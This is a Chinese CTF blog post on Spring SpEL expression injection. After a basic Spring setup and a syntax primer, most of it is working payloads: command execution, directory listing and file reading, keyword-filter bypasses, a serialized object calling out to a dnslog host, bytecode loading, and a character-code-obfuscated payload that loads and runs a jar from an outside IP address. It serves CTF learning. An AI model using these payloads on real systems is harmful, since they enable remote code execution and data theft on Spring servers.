CTF Web安全

Java spring SPEL表达式注入

Posted on 2020-09-07,7 min read

首先搭建一个Spring环境。
文章可以看https://blog.csdn.net/cflys/article/details/70598903
一步步跟下去就行。
在src目录添加spring-config.xml

src目录下新建
Hello.java

public class Hello {
    private String Name;

    public void sayHello(){
        System.out.println("Hello "+ Name);
    }

    public void setName(String name) {
        System.out.println("SetName function start");
        this.Name=name;
    }
}

Main.java

import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

import java.io.IOException;

public class Main {
    public static void main(String[] args) throws IOException {
        ApplicationContext context = new ClassPathXmlApplicationContext("spring-config.xml");
        //创建Spring的IOC容器
        Hello hello = (Hello)context.getBean("Helloclass");
        //调用spring-config.xml中ID为Helloclass对应的类
        hello.sayHello();
        //调用类的sayHello方法
    }
}

spring-config.xml

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

    <bean id="Helloclass" class="Hello">
        <property name="name" value="Spring"></property>
        //Hello类中name属性。对应的值
    </bean>
</beans>

成功执行。并且setName方法。在创建IOC容器的时候就执行了。对name属性赋值

下面介绍SPEL
简单来说。就是在value中。用特定的语法实现一些功能。和Python的模板差不多

#{}是SPEL的定界符。{}内。都算SPEL语法
${}用于加载外部属性的值。必须写在${}中。例如#{'${}'}


SPEL也支持

科学计数法
#{1e1111}
类属性
#{Person.name}
类方法
#{Person.HelloWorld()}
函数
#{'Guoke'.toLowerCase()}
异常处理
#{Person.HelloWorld()?.toUpperCase()}
//  ?. 确保左边语句不出错。如果出错。就不会调用toUpperCase()
调用包
#{T(java.lang.Math).random()}
直接new对象
#{new java.util.Scanner(new java.io.File('/home/dc2-user/flag/flag.txt')).next()}

说了基本语法。。那就开始利用了。
弹个计算器
#{T(java.lang.Runtime).getRuntime().exec("calc")}

列目录
#{T(java.util.Arrays).toString(T(java.nio.file.Files).list(T(java.nio.file.Paths).get('c:\\')).toArray())}
读文件
#{new java.util.Scanner(new java.io.File("c:\\1.txt")).next()}
#{T(org.apache.commons.io.FileUtils).readFileToString(new java.io.File("c:\\1.txt"))}
#{NEW java.util.Scanner(NEW java.io.BufferedReader(NEW java.io.FileReader(NEW java.io.File('/flag')))).nextLine()}
#{New java.io.BufferedReader(New java.io.FileReader("/flag")).readLine()}
#{T(java.nio.file.Files).lines(T(java.nio.file.Paths).get('c:\\1.txt')).findFirst().toString()}
利用FileUtils这个包。不是自带的
当遇到过滤关键字的时候。可以利用大小写。%00等骚姿势绕过
在SPEL中。关键字不区分大小写。比如new/NEW
也可以通过反序列化。绕过关键字过滤。

#{T(org.springframework.util.SerializationUtils).deserialize(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAEHozM3Bzei5kbnNsb2cuY250AABxAH4ABXQABGh0dHBweHQAF2h0dHA6Ly96MzNwc3ouZG5zbG9nLmNueA=='))}

通spring内置的一个方法。 输入类名,字节码,classload就可以new一个类。当类中有static方法的时候。new类就会自动触发

T(org.springframework.cglib.core.ReflectUtils).defineClass('Singleton',T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('yv66vgAAADIAtQ....'),T(org.springframework.util.ClassUtils).getDefaultClassLoader())

利用request传值。绕过黑名单

[[${#this.getClass().getClassLoader().loadClass(#request.getHeader(111)).getDeclaredMethod(#req
uest.getHeader(222),#this.getClass().getClassLoader().loadClass(#request.getHeader(333))).invoke(
#this.getClass().getClassLoader().loadClass(#request.getHeader(111)).getDeclaredMethod(#reques
t.getHeader(444)).invoke(null),#request.getParameter(1))}]]


#httpServletRequest.getParameter(1)
自带的

利用Urlclassload。来创建类。然后new

[[${New java.net.URLClassLoader(New java.net.URL[]{New java.net.URL((%23servletContext.getServerInfo()[0].replace(65,104)%2b%23servletContext.getServerInfo()[0].replace(65,116)%2b%23servletContext.getServerInfo()[0].replace(65,116)%2b%23servletContext.getServerInfo()[0].replace(65,112)%2b%23servletContext.getServerInfo()[0].replace(65,58)%2b%23servletContext.getServerInfo()[0].replace(65,47)%2b%23servletContext.getServerInfo()[0].replace(65,47)%2b%23servletContext.getServerInfo()[0].replace(65,49)%2b%23servletContext.getServerInfo()[0].replace(65,46)%2b%23servletContext.getServerInfo()[0].replace(65,49)%2b%23servletContext.getServerInfo()[0].replace(65,53)%2b%23servletContext.getServerInfo()[0].replace(65,46)%2b%23servletContext.getServerInfo()[0].replace(65,54)%2b%23servletContext.getServerInfo()[0].replace(65,55)%2b%23servletContext.getServerInfo()[0].replace(65,46)%2b%23servletContext.getServerInfo()[0].replace(65,49)%2b%23servletContext.getServerInfo()[0].replace(65,52)%2b%23servletContext.getServerInfo()[0].replace(65,50)%2b%23servletContext.getServerInfo()[0].replace(65,58)%2b%23servletContext.getServerInfo()[0].replace(65,49)%2b%23servletContext.getServerInfo()[0].replace(65,51)%2b%23servletContext.getServerInfo()[0].replace(65,51)%2b%23servletContext.getServerInfo()[0].replace(65,55)%2b%23servletContext.getServerInfo()[0].replace(65,47)%2b%23servletContext.getServerInfo()[0].replace(65,49)%2b%23servletContext.getServerInfo()[0].replace(65,46)%2b%23servletContext.getServerInfo()[0].replace(65,106)%2b%23servletContext.getServerInfo()[0].replace(65,97)%2b%23servletContext.getServerInfo()[0].replace(65,114)))}).loadClass(%23servletContext.getServerInfo()[0].replace(65,118)%2b%23servletContext.getServerInfo()[0].replace(65,117)%2b%23servletContext.getServerInfo()[0].replace(65,108)%2b%23servletContext.getServerInfo()[0].replace(65,110)).getDeclaredMethod((%23servletContext.getServerInfo()[0].replace(65,114)%2b%23servletContext.getServerInfo()[0].replace(65,99)%2b%23servletContext.getServerInfo()[0].replace(65,101))).invoke(null)}]]

其他bypass的。可以看
https://www.mi1k7ea.com/2020/01/10/SpEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/
先占个坑。

填坑:

根据replace传byte。可以获取字符串

#servletContext.getServerInfo()[0].replace(65,10+#servletContext.getServerInfo()[0].replace(65,104)

获取string class

#strings.arraySplit("a,a",",").getClass()

获取string[]

#strings.arraySplit("a,a",",")

获取各种类型

${#strings.arraySplit(namesStr,',')}                // returns String[]
${#strings.listSplit(namesStr,',')}                 // returns List<String>
${#strings.setSplit(namesStr,',')}                  // returns Set<String>

下一篇: DDCTF 卡片商店(整数溢出+go cookie基础)→